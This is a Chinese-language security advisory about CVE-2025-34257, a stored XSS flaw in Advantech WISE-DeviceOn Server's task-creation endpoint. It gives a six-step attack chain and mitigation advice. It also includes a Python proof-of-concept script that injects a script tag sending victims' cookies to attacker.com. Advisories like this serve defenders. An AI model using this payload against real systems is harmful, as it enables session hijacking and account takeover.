IPBUF安全漏洞报告
English
CVE-2025-34257 CVSS 5.4 中危

CVE-2025-34257: Advantech WISE-DeviceOn Server 存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-34257
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Advantech WISE-DeviceOn Server

相关标签

CVE-2025-34257存储型XSS跨站脚本Advantech WISE-DeviceOn会话劫持Web应用安全IoT设备管理身份认证绕过

漏洞概述

CVE-2025-34257是Advantech WISE-DeviceOn Server中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于/rmm/v1/action/defined端点,攻击者通过在defined_name参数中注入恶意JavaScript代码,当其他用户访问Overview页面查看任务时,恶意脚本会在其浏览器上下文中执行。成功利用此漏洞可导致会话劫持、敏感信息窃取,以及在受害者身份下执行未授权操作。漏洞CVSS评分为5.4(中等严重级别),攻击复杂度低,但需要低权限认证和用户交互。Advantech已发布5.4版本修复此漏洞,建议用户尽快升级。

技术细节

漏洞根源在于Advantech WISE-DeviceOn Server的/rmm/v1/action/defined API端点缺乏输入验证和输出编码。认证用户创建任务时,defined_name字段的用户输入被直接存储到数据库,未进行HTML转义或消毒处理。当管理员或其他用户访问Overview页面时,存储的defined_name值被直接渲染到HTML响应中,导致嵌入的恶意脚本在受害者浏览器中执行。攻击者利用此漏洞可窃取用户会话Cookie、冒充用户执行操作或重定向用户到钓鱼页面。由于是存储型XSS,恶意脚本会持久存在于系统中,所有访问该页面的用户都会受到攻击影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Advantech WISE-DeviceOn Server版本(<5.4),确认/rmm/v1/action/defined端点存在
STEP 2
步骤2: 认证获取
攻击者获取目标系统的低权限用户账户,或通过其他方式获取有效会话凭证
STEP 3
步骤3: 恶意Payload注入
通过POST请求向/rmm/v1/action/defined端点发送包含XSS payload的defined_name参数,payload被存储到数据库
STEP 4
步骤4: 等待受害者访问
攻击者等待具有更高权限的用户(如管理员)登录系统并访问Overview页面
STEP 5
步骤5: XSS执行
受害者浏览器加载Overview页面时,未经过滤的defined_name值被渲染为HTML,嵌入的JavaScript代码被执行
STEP 6
步骤6: 会话劫持
恶意脚本窃取受害者Cookie或执行其他JavaScript操作,攻击者获取受害者会话,实现权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-34257 PoC - Stored XSS in Advantech WISE-DeviceOn Server # Target: /rmm/v1/action/defined endpoint # Type: Authenticated Stored XSS import requests import json TARGET_URL = "https://<target-ip>/rmm/v1/action/defined" SESSION_COOKIE = "<your-session-cookie>" # Malicious payload for stored XSS xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" headers = { "Cookie": f"JSESSIONID={SESSION_COOKIE}", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Create task with malicious defined_name data = { "defined_name": xss_payload, "action_type": "custom_task", "description": "Malicious task for XSS testing" } response = requests.post(TARGET_URL, headers=headers, json=data, verify=False) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[+] Payload will execute when users view the Overview page") else: print(f"[-] Failed to inject payload. Status: {response.status_code}") print(f"[-] Response: {response.text}")

影响范围

Advantech WISE-DeviceOn Server < 5.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制对/rmm/v1/action/defined端点的访问,仅允许受信任的管理员使用;2) 在Web应用防火墙(WAF)层面配置XSS防护规则,过滤<script>标签和JavaScript事件处理器;3) 提醒用户不要点击来源不明的链接,定期清理浏览器Cookie;4) 启用Web应用的HttpOnly和Secure Cookie属性;5) 监控日志中的可疑请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表